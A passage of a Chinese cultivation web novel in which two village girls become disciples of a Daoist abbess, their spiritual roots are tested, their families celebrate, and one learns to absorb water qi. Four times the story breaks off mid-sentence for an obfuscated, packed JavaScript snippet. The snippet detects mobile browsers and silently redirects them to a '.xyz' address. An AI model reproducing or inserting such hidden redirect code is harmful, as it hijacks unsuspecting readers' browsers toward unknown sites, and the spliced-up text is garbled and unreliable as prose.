周围景象突然坍塌,凝缩成一个旋转的漩涡,青禾不由自主地被漩涡卷入。 没有了炫目的光芒,周围一片漆黑,她茫然地睁开眼,眼角划过一尾白色流光,那光芒停在她眼前传来妙清柔和的声音,“跟上我。” 怎么跟?青禾迷茫地想着,妙清没有解答。白莹莹的流星极速向远方划去,青禾着急地挣扎向前,哗啦一声,从某种流体质地的物体里一跃向前,她竟发现自己也变成了一颗小小的光点。 她回首向后看去,发现静默的黑暗里有一汪青濛濛的小小水池。 那是我的识海?她边疑惑着边追向妙清。好小的水池,而且雾气笼罩,我什么也看不清。 追随着师母突破黑暗,青禾来到了一座奇怪的宫殿。无数洁白、粗糙、高大的柱子矗立,往上却看不到宫殿的穹顶,好似有无限高。高低不同的地方时不时穿插着角度摆放奇怪的横梁。深红、浅粉、淡黄的帷幕在柱子之间的间隙张开,材质奇怪,柔嫩有弹性,不像是布料做的,帷幕与帷幕间可隐约看到粗细不一的网状丝条联通。青禾好奇地试着往上撞,却轻飘飘的穿越过去。 妙清的速度放缓,好笑的声音传出来:“青禾,这是你的身体内部,我们在用灵视观察这一切。” “白色的柱子是你的筋骨,帷幕是你的肉/体,肉/体里面若隐若现的是你的经脉。” 真有趣。青禾想着,不断四处游走。很快,她发现了某些位置存在着灰色暗淡的斑点。 “这些灰暗的地方就是你身体的缺漏,需要不断修炼修补。” 青禾光点上下跳跃,表示点点头,跟着师母继续前进。 很快她们来到了另一个黑暗的地方,这里有五点沙砾般大小的光芒组成一个环在莹莹闪烁。 赤白黑青黄,五种光点虽小,但都一般无二地明亮着,没有哪个暗淡无光。彼此之间闪烁呼应,光芒流转不息,点与点之间竟然形成了光芒通道,相邻的两种色彩在通道一左一右泾渭分明的同时又无比融洽。 妙清咦了一声,颇有些惊奇。她绕着光环游走观察了一会儿,笑道:“难得难得,青禾,你的五行少有的一个不缺。” 青禾刚想发问,眼前却一花,再睁眼已经回到了现实世界。 久安看见了两个人都睁开了眼,一脸求知欲地扑过来,“怎么样?怎么样?” 妙清轻轻抵住小姑娘的头顶,“我为你们一起探看完再说。” 久安“嗯嗯”地使劲点点头。 收功完毕,妙清闭目调息了片刻。一睁眼就看到两双大眼睛扑闪扑闪地盯着她。 “不得了啊,不得了。想不到我竟有如此运道,能收下两个资质独特的弟子,看来老天待我不薄啊。”她调侃道。 两个女孩儿激动地小脸通红。 “青禾你是全属性根骨,更难得的是不仅五行俱全,它们强度相同、灵质均匀,已经能够相互呼应,自行流转循环。” “久安你是单属性火行根骨,灵息强大,炽如烈阳,其他的属性全被火行的光芒覆盖,我险些以为你是天生五行不全之人,可吓了一大跳。” “五行不全会怎样?” “五行不全要么是人死后执念不散化为鬼怪,要么是点灵之物。比如说《大荒奇闻录》曾记载西方大漠深处死去千年的胡杨林受天雷洗礼回复生机诞生了灵智,这就叫点灵。原本为死物,即使一朝受大机缘点化,依然五行不全。” “你们俩这资质在众多修士中也算难得一见。” “那是不是说明我们修炼会很容易?” “五行俱全,在感悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042910|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天地以及术法这两方面会有优势。术法不用说,你可以随意修行。至于感悟,我曾有幸见识过高阶层修士的笔记心得,那位前辈曾说修到阴阳合时,需要模拟五行化一,在五行循环衍化中窥得一丝天地道意,重新分合阴阳二气。因此属性越多,在此重境界修行的会更轻松。前提是从低阶层起,要同时吸纳五种灵力,费时费力,修为提升慢,有可能等不到阴阳合就会坐化。青禾,你需要好好想想,是要单独修行一种或者某几种属性还是想要拼一拼机会,修行五种灵气。” “至于单属性根骨,最大的好处便是前期修行进度快,但凡事有利有弊,修行到后期,就需要天材地宝的辅助悟道。久安你的火行根骨比寻常人的炽烈得多,说明你以后的火法会更厉害。” “修道不仅仅是靠资质根骨,还有努力和时运,时运难以掌控,自身努力修炼才有机会触碰那一丝捉摸难寻的机缘。”妙清语重心长地教导。 “是,弟子明白。”两个小徒弟齐声答应着。 “走吧,我们去书房取你们的心法。” 斑驳的红漆枣木桌上整整齐齐摆放着一摞书,妙清抽出其中几本,分别递给两个弟子道:“观内五行心法众多,我挑了几本合适的作为你们的启蒙心法,以后若有更合适的再更换。记住,不可损坏经书,不然要受罚。” “我们可以带回去吗,是不是还要小心别让别人看到。”青禾问。 “想带就带,至于让不让人看到,只是凡人境的心法罢了,有人能看到并成功修行,说明仙缘匪浅,我们成人之美何乐而不为呢?” “只有入道后的心法才要尽量保密,毕竟每个心法都有不同的侧重点,若是心怀不轨之人因此针对害人就糟糕了。” 妙清想了想又失笑道,“不过本门心法并不是什么神秘奥妙的心法,说不定修习之后在外游历还能找到修习一样心法的修士。” “好了,拿好你们的心法,该回家了,顺便把东西带给你们的父母。” 青禾和久安刚想问什么东西,就见妙清轻轻一拍桌面,几张剪的惟妙惟俏的纸牛无风飘起,晃晃悠悠地飘向院子,两个小女孩追了出来。 “嘭”一声纸牛变大,变幻成了与真牛一般大小的模样,只是外表不同,淡黄色符纸作为皮肤,朱砂描画的符文遍布全身。 妙清抬手掐诀,库房大门打开,数袋粮油茶盐依次飘出,挂在纸牛的背上。 “好了,你们牵着它们回去吧,记得明天上午早点来。” “不不不,”青禾红着脸,“这怎么好意思呢,我家还没准备束脩,怎么能先收师母的东西呢。” “拿着吧,古时修仙都要斩断尘缘,师门往往要给弟子家财物以示两清。如今虽不强求断尘缘,但毕竟你们要不断修炼,给家里帮忙的时间少了,这些算是补偿。况且,既然成为了为师的徒弟,要在观里做事,就抵了束脩了。” “再者,不让纸牛跟随你们,又怎么让人取信我收了你们当徒弟?拜师大典在下个月,在此之前难不成让你们父母亲戚一遍遍跑过来询问吗?” 青禾害羞地点点头,此时久安已经迫不及待地坐在其中一头牛的身上,她快乐地喊道:“师母,青禾,我先走啦,明天见!” 13. 道喜 青禾牵着两只纸牛慢慢走在田野间的小路上。 黄土小路坑坑洼洼,还有许多小石子儿横在中间,青禾领着纸牛绕过土坑,踢走小石子儿,生怕磕着碰着它们一点。 她一遍又一遍小心翼翼地抚摸着纸牛的头背,光滑的符纸擦过手心,总让她感觉有了温度似的,让她忍不住对着牛耳絮絮低语。 “呀!青禾,你家啥时候养牛了?”远处扛着锄头的村民,眯着眼睛向她打招呼。 青禾慌忙摆手,刚想解释,那村民大踏步地快走过来。 “哦哟!不得了哇,不得了!这不是观主的仙牛吗,青禾,观主咋把仙牛借给你了?这都好几年没见着牛神仙出来走动了!啧,咋背了这么些好东西啊。” 小姑娘稍微挺了挺胸膛,有些自豪又有点害羞,“叔,观主收我当徒弟了,又送了我家这些东西,怕我自个儿拿不动,让仙牛帮忙送过来。” “啥?”村民瞪大了眼睛,看看纸牛又看看青禾,“唰”地转身一溜烟地往回跑,边跑边大声嚷嚷着:“乡亲们,乡亲们!不得了了哇!观主收徒弟了!是咱们村的青禾丫头!田二哥,杨嫂子,你们家青禾要成仙人啦!” 青禾哭笑不得,只能牵着纸牛跟在后头往家小跑。 里三层外三层的村民把青禾家团团围住,里面田家夫妇满头大汗、气喘吁吁刚赶回来。青苗和青穗好奇地绕着静静站在院子里的纸牛打转,却也没敢上手摸。 青禾从没被这么多人围着看着,一时有些难为情,她手指绞着衣角,红着脸,鼓起勇气冲着爹娘道:“观主收我和黑石村的谢久安当徒弟,这些东西都是师母送咱家的。” 村民议论的嗡嗡声瞬间变大,道喜、震惊、羡慕、不解,各式各样的声音涌现。 “嫂子、二哥,恭喜恭喜,以后你家出了仙人,那日子甭说了,肯定比镇上的大户过得还好哇!” “没想到哇,咱青禾丫头这么厉害,哈哈哈,丫头帮婶子看看,俺家那几个丫头小子有没有福气当仙人啊!” “怪喽,观主这么多年不收徒,咋突然又想起来这出!” “啧啧,山神,肯定是因为山神庇佑,不是说两丫头被山神召唤上山了吗?我昨天也一起去帮忙找孩子,哎呦,那气势,那排场,啧啧。” “嘁,也不一定是好事,你看妙清观主除了那年大旱施展了仙术,这些年过得不一样和凡人差不多,凄凄惨惨的,那衣服破成啥样还穿着,还有那道观,寒酸的要命,要我说不如我之前去县城看的洄水观,那才叫神仙做派!” “嘿,你这没良心的,端起碗吃饭,放下碗骂娘。观主当初怎么帮你家的,你都忘了?看我不告诉观主去!” “错了错了,小弟错了,大哥莫要扰了观主清净。” 田父田母已经被这巨大的惊喜砸得晕头转向了,一边忙着回应道喜的村民,一边不住着盯着牛背上的粮油茶盐乐呵,一边又想拉着青禾仔细询问,手忙脚乱。 直到村长来了,乱糟糟的场面才被控制住。 白胡子老头拄着拐杖,清了清嗓子道:“田家丫头拜师正明观对咱们村子来说是天大的好事,但大家也不要都聚在人家门口不走。这么件大事,田家自己也要好一顿忙活,要我说,先散了,我留下了解情况,有事在通知大家伙儿。” 众人颇为赞同地点头,依依不舍地离开,有人边走边喊:“田二哥,杨嫂子,我们等着吃你家席,可不能抠门!” 田家夫妇满面笑容应和着:“一定一定!” 等人散的差不多了,田家本来准备将村长迎进堂屋,却看着纸牛犯了难。 这可是牛神仙,辛辛苦苦把礼物背回来怎么好让人家站在院子里,连一口水都没得喝,可屋门太小,牛神仙身体太大,进不了门。 “爹、娘,要不咱们先把东西卸下来吧。”青禾忍不住提醒道。 “对对对,东西先卸了,对不住啊,牛神仙,高兴过了头,忘了您老身上还有东西。” 纸牛不置可否,依然安静地待在原地,等田家七手八脚地卸下包裹,才青烟一飘,两只庞然大物变换成两张轻飘飘的纸片牛飞在半空中。 青禾身手一接,符纸正好整齐地落在她手掌里。 众人看呆了,还是村长先回过神。 等到回了堂屋坐下,老头和颜悦色地询问青禾,上至妙清观主这两日说了什么,下至青禾平日做了什么,事无巨细,恨不得从青禾出生的时辰开始问起。 小姑娘心里冷静下来,表面看着毕恭毕敬,实际上只挑拣着部分说起,像跟柳君的相遇、师母的教导,都是捡些不重要的说出来,有时实在逼急了,就开始一板一眼地瞎编。 唉,等之后一定要和久安对一对口风,别被人看出来敷衍。 村长听到了想听的很满意地点点头,他斟酌着开口道:“按朝廷的规矩,拜师仙门就可以少出一人的人口税了。只是青禾说观主想要下个月举行拜师大典,那这中间空着的一个月就不好定啦。如果我非要消税,真要追究起来不合规矩。”他叹了口气:“但法理不外乎人情,青禾是我看着长大的,如今有这样的出息,我是真替她高兴啊。所以我就舍下这张老脸去跟税官说和说和,你们呀,不要到处声张这事。” 田家夫妇满脸感激,诺诺连声。 青禾娘亲说道:“这丫头出生时家里穷的没饭吃,多亏村长您舍给我们家的一袋子米,所以说她能有如今的福气大半靠着您呀,不然早夭折了,您就是我家的大恩人呐!” 青禾爹说道:“再怎么成为仙人,也得还恩,小孩子不懂事,我们做大人的也得时时提点,可不能叫她学坏。” 村长摸摸胡子,很是高兴。 “青禾丫头,好好跟着观主学,听说要是成为了高阶层的仙人,朝廷不仅免人口税,还给你家发钱发粮,更有甚者还发田地呢,都是良田。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042911|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青禾头一次知道还有这些好事,一听能给家里改善生活,喜滋滋得双眼放光。 送走了村长,一家人开心地围坐在一起,尽管已经听了青禾跟村长讲述的经过,田家夫妇还是忍不住反复问,谁能想到,几代人面朝黄土背朝天地活着,还能出个仙人!真是祖坟冒青烟了!必须要找个时间好好修修祖坟,感谢下老祖宗。 “青禾,你问问观主,你有两个弟弟妹妹呢,观主还缺不缺弟子,实在不行,当个杂役也行啊!”田母期待地问。 青禾有些为难,关于观主身体的真实情况,她不好跟父母细说,但又不想直截了当地拒绝,左右为难。 田父看出来了,打圆场道:“咱家青禾能进正明观已经是天大的福气了,你看观主这么年才收了两个弟子,一定喜欢清静,咱们就知足吧,别给她添乱。” 田母想想觉得也是:“青禾,你别把我刚说的讲给观主听,娘糊涂了,你就好好跟观主学成仙就够了,可别惹她老人家厌烦了。” 她又叹口气:“还有谢员外的丫头也在,她家有钱,咱家比不了。好在观主为人正直大气,不是那等狗眼看人低的小人。你在观里多长些眼力见,手脚勤快,嘴上喊人也甜点,比不过钱,比聪明伶俐,咱青禾可不输别人。” “对对,青禾你就是个直心眼儿,你爹我见过几次谢家丫头,那可是个鬼精鬼灵的,你平时可注意点她,别给你使坏儿。咱们不害人,但也不能叫人害着。” 青禾“噗嗤”笑出声来:“谢久安其实心眼儿也挺好的,你们担心多了。今天我们师徒三人相处得可好了。” 谢家父母一脸的“拿我家傻丫头怎么办”的表情。 青苗和青穗挨着姐姐仔细听着,虽然很开心,但一直忍着不出声,生怕给大人添麻烦,此时看见大家说的差不多了,青苗小声开口:“今天这么开心,咱们吃好点吧?”他可看见了,大姐带了好多吃的回家。 “好!今天我们好好吃一顿!我来做饭,给你们炒一大碗鸡蛋酱吃,咱们也不喝什么菜粥了,通通吃粟米饭,一人一大碗!”田母豪气万丈地说。 两个小孩儿兴高采烈地蹦跳欢呼。 青禾看着弟弟妹妹开心的笑脸,摸了摸,低声道:“青苗,青穗,对不起,我不能也让你们当观主的弟子。” 青苗眼睛亮晶晶的,仰着脸看向心情有点低沉的大姐:“姐,你以后成了仙人还会管我们吗?” 青禾连忙保证:“怎么会不管,我们是一家人,无论我成为什么都不会放着你们不管的。” “那不就好了吗,跟着姐姐过好日子,这就够啦!” 青穗年龄太小还有点不太明白,但她看着哥哥喜滋滋的笑脸,也跟着冲大姐笑。 青禾也高兴起来,她左一个右一个揽着弟弟妹妹,快步追向母亲,“走,我们去给娘帮忙去。爹,你去劈点柴火,厨房里的不够了。” “哎,好!” 14. 水灵 晚饭过后,青禾领着弟弟妹妹在厨房收拾。灶肚里的火明灭闪烁,小小的厨房笼罩在一片暖黄色的火光之中。她打量着,又往里塞了几根柴火,天气渐渐暖和起来,不需要烧一夜的火炕,她也不用半夜起来添柴火。小姑娘心情很好,今夜能睡个整觉。果然,春天来了,一切都在朝着好的方向发展。 舀出锅里还有着余温的水,她开始洗碗时。一边干活,一边指挥两个小孩儿,扫扫地,清理清理台面,还要细细叮嘱青苗,第二天都要在家做什么活计。 田家夫妇不用青禾沾手家里的事情了,她现在的主要任务就是跟妙清观主好好修炼。青苗也大了,正可以接手姐姐的活计,干不了的田父田母辛苦应对下也就挺过去了。 水声哗啦哗啦伴着弟弟妹妹吭哧吭哧的干活声,她突然思考起下午师母的话,我是要同时修行五种属性的灵力还是只选单一属性呢? 她想在修炼之路走得更远,但又不想走得太慢,至少不能比久安慢。虽然两人经过寻仙缘一事后,已经算上是生死之交了。 小姑娘暗暗点头,对,就是话本里的那种人生一辈子难遇到的朋友,患难见真情,青禾心里还是挺开心的。 但是,她还是不想落后朋友一步,毕竟,以谢久安的性格,让她拔得头筹,她肯定会得意洋洋地一直在青禾耳边念叨,为了自己以后的清静,她不能被落下太远。 于是问题又回到了原点,她该选择哪一条路呢? 双手不自觉地相互搓揉,她摸到了手掌上冻疮留下的疤痕。前年冬天的时候,母亲生了一场病。父亲跟着村人去镇上打短工,弟弟妹妹还没有长成,为了能让母亲安心休养,青禾主动承担起了大部分家务活。 那年田里收成不太好,家里捉襟见肘,她本着节省的心洗衣服的时候直接用的冷水,小小的手掌冻得通红肿胀,一遍遍搓洗着衣物。泡冷水的次数多了,手上开始长又疼又痒的冻疮。母亲心疼地掉了眼泪,一直埋怨自己病得不合时宜。可是青禾想,衣服总要有人洗的,不是自己就是母亲,那这冻疮长在母亲手上就不难受吗?总要有人受罪。 如果我会了仙术,是不是就能很轻松地洗衣服了,她想象着,自己操纵着水流把衣服洗得干干净净,不需要再忍受刺骨的寒冷,不需要忍受皮开肉绽的痛苦,甚至她还可以做更多的事情,家里的田地离取水的河道很远,每次播种,浇水都很费力,她可以施展仙术浇地。还有太多太多的事情想做,早一天修炼有成,家人就可以少受一点痛苦。 那就修习水灵力吧,她自言自语,有时候还得向久安学习,过一天是一天,以后的事情以后再烦恼。 天还透着黑,青禾已经起身了。掬起一捧冰凉的水扑洒在脸颊,她结结实实打了个冷颤,还混沌的大脑立刻困意全消。 昨晚的决定是对的,学会了水法,她就不信还这么遭罪。 启明星还在头顶闪烁,她看见不远处的谢久安。 谢小姑娘呲着牙乐呵着,蹦蹦跳跳地走路,看到了好友,十二分的热情拼命招手。青禾也很开心地招手回应。 “哈哈哈,怎么样,昨天你回村了是不是造成轰动了!”久安叽叽喳喳地说道,她也不等青禾回答,又马上接着说:“昨天我回家,差点没惊掉我爹娘的下巴!全村人都围到我家里来了!嘿嘿嘿,我爹说礼还没送出去,观主就收我当徒弟了,他真是赚大发了。” 青禾斜眼看她,谢大小姐意识到不对,马上开口:“当然,我们家还是要送的,可不是那等小气人家。” 青禾耸了耸肩,她家没谢家有钱,没什么珍贵礼物能送给师母,不过好在师母并不在乎,日久见人心,等她以后慢慢报答师母吧。 赶到观里的时候,妙清早就等在那里了,她笑眯眯地道:“来的这般早,没吃饭吧,我都准备好了。清粥小菜,快来吃吧。以后就到观里吃饭吧。” 青禾把自己的决定告诉妙清,对方笑着摸摸她的头顶,“真是脚踏实地的好孩子。” 小姑娘听了心想:难道师母也觉得自己应该这么选?我要是选择修习全属性,会让师母失望吗? 她斟酌地想开口问,一旁的久安已经快人快语:“如果青禾选全属性呢?” 妙清还是笑道:“那就是志向高远的好孩子。” 两个女孩傻呵呵地张大了嘴巴。 “我的弟子,怎么样都是好的。” 修仙课程第一堂课,是妙清带着两个弟子解读心法。两个孩子年龄都不大,在乡间生活也不怎么需要识文断字,之前妙清看她们来得勤快,只抽空教了基础文字,像经文之类,大段大段的文章还需要师长解惑。 “修炼要紧,博闻强识也很重要,二者相辅相成,缺一不可。一个不学无术的人在修炼上走不远。你们俩基础太差,除了每天听我讲课,还要多去藏书阁阅读书籍,修为与学识齐头并进才好。”妙清摇头叹气。 青禾接受良好,很认真地点头表示赞同,但久安就有些愁眉苦脸。她挺喜欢读话本的,都是些大白话,认得些许文字就能看得很开心,但正经的文章她可读不下去,太枯燥了。 看着青禾一脸我要发愤图强的表情,她偷偷拽了拽好友的衣角,咬着耳朵道:“好青禾,到时候你可得帮帮我!” 青禾挑眉看了她一眼,痛快地回答道:“行啊,你喊我一声师姐,我就帮你。” 久安气得咬牙,恨恨说道:“做梦!明明我比你大一岁,合该我是你的师姐!师母,对不对?”她求助地看向妙清。 妙清看天看地,就是不看她,一副你们自己决定的模样。 青禾心里直乐,倒也没和久安争辩,等对方有求于她的时候,自然会服软,她现在可不会浪费口舌。 捧着书,小姑娘安安静静地跟着师母的指点记忆心法。 修道第一重境界练气第一大难题,是需要修行之人从外界繁杂的灵气中准确吸取自身所需灵气,先存于丹田,集结成气团,压缩凝练剔除杂质,再从气团中抽取一缕精纯灵力顺经脉游走全身,修补身体缺漏,待身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042912|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体经脉骨肉浑然无缺,就是功成之时。 听着简单,做着艰难。吸取灵气首先你得感知它们的存在,而且天地之间清浊之气混杂,日月交替、四季变迁、星辰转移等等,这些变化都会产生大量不同的气。盛衰消长、阴阳转换,剧烈的变化使得各种气掺杂纠缠,宛如滚乱的麻线团,极其不好梳理。 五行之气随之衍化,时强时弱,时静时动,猛烈时如刀割,细弱时如静流,即使感知到了,如何安全地吸取入丹田则是第二大难题,一个不小心则丹田破裂,道毁人亡。 第三大难题则是吸纳灵气入丹田后,凝练打磨灵气团是个水磨工夫,急不得、粗心不得,只能靠着勤奋修炼。有些人耐不住枯燥的修行,无论如何也提炼不出第一缕灵力来走脉,最后颓然放弃。 好在如果有属性相合的师长肯不厌其烦地一遍遍引灵灌入弟子经脉,引导弟子感受灵气入体的变化,手把手教导如何提取灵力修补身躯,那这三大难题的扰人程度能骤降三成。 妙清先是引导着久安开始走脉。 灵蛇蛋置于师母左手掌心,右手作剑指状点于腹部下丹田。 “久安,心神合一,仔细感受灵力的变化。”妙清闭着眼睛嘱咐道。 青禾同样盘坐在一旁静静观看着,她心里默念着心法口诀,回想师母教导的技巧,试图凭借自己感受灵气的存在。 灵蛇蛋此次没有幻化出龙影,只是如同呼吸般一明一暗,丝丝缕缕乳白色雾气从中蒸腾,在蛋的上方形成一片小小的气旋。 青禾盯着那个气旋,眼睛眨也不眨,只有瞳孔随着不断旋转的缕缕雾气移动。默念口诀变成轻不可闻的喃喃自语,大脑放空,身体自然垂坐,渐渐地,她无知无觉地闭上了眼睛,进入冥想的状态。 目不可视,然而,那团气旋仿佛从现实转移进她的脑海,她能看清它的每一丝变化,它如何旋转着从周围繁杂的气息流里撕扯灵气,又如何一点点吞噬同化,不知疲倦地重复着同一个流程,于是气旋越来越大,灵力越来越强…… 混沌的头脑被一把寒意森然的长剑劈开,沉睡中的女孩终于睁开眼,于是她发现自己身处于一片风暴之中,四面八方刮过来的狂风吹得她肌肤如受刀割,尖锐刺耳的风啸震痛她的耳膜,她在风中摇摇欲坠。 不能倒下,她咬着牙在心里默念,我要像那个气旋一样,不知恐怖、不畏一切,我要抓住那一缕……她重新闭上眼睛,慢慢伸出手。 鲜红的血肉翻飞,浓重的血腥气息四散,她的指尖露出白骨,风在怒吼,它在警告这个不敬神明的凡人,臣服、放弃,不然你只会化为一具白骨。 细瘦的手臂在颤抖,女孩没有收回手,她听懂了风的恐吓,她咬牙狞笑,这算什么,这一点点痛苦如何比得上寒冬腊月里那冰寒河水刺骨的疼痛,如何比得上大旱三年饿到啃食自己血肉的痛苦…… 她不肯放弃,挣扎着抓向那一缕她隐约感受到的湿润的、温柔的气息。 是水灵气,她感受到了水灵气。 15. 悟性 风暴仍在,但它已经伤害不了青禾了。 暴戾的灵力乱流诚实地将波动不断传向四方,宣告自己的存在。青禾像一尾置身于海洋的游鱼,灵敏地接收到了危险的波动,然后轻巧地避开,在危险的间隙里不断穿梭,追寻着奔逃的食物。 清凉的水灵气跟随着众风暴在戏台上唱念做打,它时而是慷慨激昂的秦腔须生,时而是婉转悱恻的昆曲旦角,再一晃神,它已经从台上脱离,成为了游走在各个戏团间兴致盎然的观众。 青禾窥伺着它,只等它从台上跳下,便要紧紧地裹缠上去,一口一口填满饥饿的肚腹。可是它太过滑不留手了,往往在青禾缠上的瞬间,便灵活地跳脱出去,四处奔散。 一遍一遍不断重复的追逐、逃脱,青禾开始感到力不从心,渐渐地,她身影晃动,速度迟缓,甚至有一次险些没有避过呼啸而来的龙卷风,擦肩而过的接触让她的身形溃散了一部分,巨大的痛苦让她忍不住满地打滚,可她依旧不甘心,却也知道再继续下去只会陷入更危险的境界。 徘徊犹豫间,一股强大温和的力量涌入,让她瞬间精神百倍。消散的勇气再次涌现,她锲而不舍地追寻下去。无数次力竭,无数次被灌注新的力量,屡败屡战,不知疲倦。 终于,她捕获了一缕水灵气。 尽管这缕灵气是那么的微弱、不堪一击,可青禾高兴极了! 她迫不及待地吞吃了下去,满身清爽。湿润柔和的气息遍布全身,她舒服地长叹一口气,随即感受到了刚入体的水灵气开始慢慢地从身体的缺漏处逃逸,她有些不知所措。她应该怎么做?她尝试运转心法,呼唤沉睡的丹田。 沉重的身体只给予了少许的回应,可这远远不够,像一张织线稀疏的网,只有网丝沾上了少许水灵气息。 焦灼中,那股神秘的力量再次出现,像一位循循善诱的师长,缠绕着不情不愿的灵气,探入丹田,汇集成核心,在一呼一吸间泵出无数细流,游走在经脉,循环修补。 吞吃的灵力耗完,青禾再次出发,在神秘力量的耐心辅助下,不断地捕获、炼化。她越来越熟练,速度也越来越快,最后一次,那股助力撤了回去,青禾感受到了对方的观望,她没有惊慌,信心十足地在没有帮助的情况下,自己捕获了灵气并炼化。 三十六次小周天循环完成,她从灵气世界里脱离出来,缓缓睁开眼。 面前是收功盘坐着的师母,她笑盈盈地看着自己,旁边则是目光炯炯的谢久安。 “青禾,你太厉害了!竟然自己就能感知灵气!”久安表情夸张,一副被震惊到的模样。 “青禾,你悟性出众,心性坚毅,不仅能忍受气泽风暴的磨炼追踪自己真正需要的灵气,还能在不到一个时辰的时间里,自行完成一个小周天的灵力循环。想来之后,就不需要为师的辅助了,还盼你再接再厉,不可浪费了你的天赋才是。” “还有久安,虽然你仍需为师引导修行,但通过此次灵气炼化,为师发现你的火行根骨比原本以为的还要强大百倍,吞吃炼化灵气竟然毫无止境。不似寻常人,每次周天循环都要有一个度量,超过度量便要损坏根骨,不得不在每次修炼后格外花费时间冥想来沉淀修为。所以,只要你耕读不辍,定然会进步飞速。”妙清点评道。 久安一开始因为自己修行进度落后,有点小郁闷,但听到师母的夸奖又开心起来。 青禾也是松了口气,她也担心两个人有了差距,攀比后彼此生出了龌龊,影响友情。志同道合的朋友很少,她不想失去久安的友谊。 妙清像是看穿了青禾的想法,她轻轻冲小姑娘点点头,继续道:“根骨资质各由天命,不是我们能控制的。我们要做的就是在此基础上,努力发掘自我的天赋,扬其长避其短,如果只一味地盯着别人有的而你没有的,日夜焦心,辗转反侧,别说修道了,普通人的生活你也过不好。” “在我门下,不求你们能修到多么高的境界,多么名声显赫,只求这一辈子踏踏实实地走过,无愧于心。” 青禾跟妙清说了家里的打算,准备接下来每天白天都在观里修炼,久安也表示自己一样。 妙清很欣慰,她重新调整了教学计划,上午教授两个弟子知识,下午在她的看护下修炼。 于是吃过午饭后,师徒三人都在静室里打坐,青禾自行修炼,有问题了,再向师长求助。而久安则在妙清的引导下一遍一遍地感悟修行,争取尽快能独立修炼。 或许是正是春忙时间,天时又舒适和缓,一连数天,没有什么村民生病来道观求医,也没什么怪事发生需要妙清解难,偶尔只有周边几个村的村长来道观里跟妙清商量白虎祭的相关事宜。 青禾和久安的父母亲期间也来到正明观拜谢观主,并商量拜师大典的事情。 田家夫妇想错开时间拜访观主,无他原因,谢地主家太有钱了,真金白银地往观里送钱送粮,据说前段时间从洄水观的道士那里得了宝物要献给观主。而田家一穷二白,好不容易拜托乡邻,寻了镇上有名的花馍师傅,做了一篮子形态各异、惟肖惟妙白面花馍。 谢三求从自己女儿那里听说了田家的窘境,当即找了过去,表示要分一半的礼物当成田家自己的,送到正明观。田家夫妇人虽穷但也有点骨气,不愿意占谢家的便宜。 谢地主挺着圆滚滚的肚皮,看了看家徒四壁的土房,叹了口气,一张精明的圆脸竟显现出了七分真诚,剩下三分则被肥肉挤没了。他道:“观主收徒之前,你我两家确实没什么人情交往,我虽然听久安丫头念叨她有个处得极好的朋友,却也没在意。如今想来,真是万分后悔。四季山寻仙缘的事情我已经听观主说过了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042913|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说有山神召唤,但毕竟两个小娃娃稚弱不堪,途中遇到危险,竟然是青禾挺身而出救了久安。本该一早前来拜谢,却因知晓甚晚,拖延至今,惭愧惭愧。” 他两手抱拳,圆润的身躯却十分柔软,几乎对折鞠躬。田父田母不知所措,一面连声道:“不敢当不敢当。”一面着急地想要扶起谢三求。 谢地主顺着搀扶的力道起身,顺势紧紧一把抓住田父的双手,上下晃了晃,一双泛着泪光的眼睛相逢恨晚地看着对方:“若不是青禾舍命相救,哪有我家丫头如今的天大好运,田家就是我们谢家的恩人啊!” “不过是小小心意,恩人就莫要推辞了,不然我堂堂谢家得被人戳脊梁骨,说我们不知感恩啊!” 田仲易讷讷不语,好似被说服,谢三求赶忙趁热打铁,“田老弟,如今我们两家姑娘一同拜师,以后可就是亲姐妹了,你我两家也是亲戚,亲戚间可要多多走动互相帮助,别冷落了情分。” “我们怎,怎敢和……和谢大官人攀亲戚。”田母杨秋得被惊得瞠目结舌。 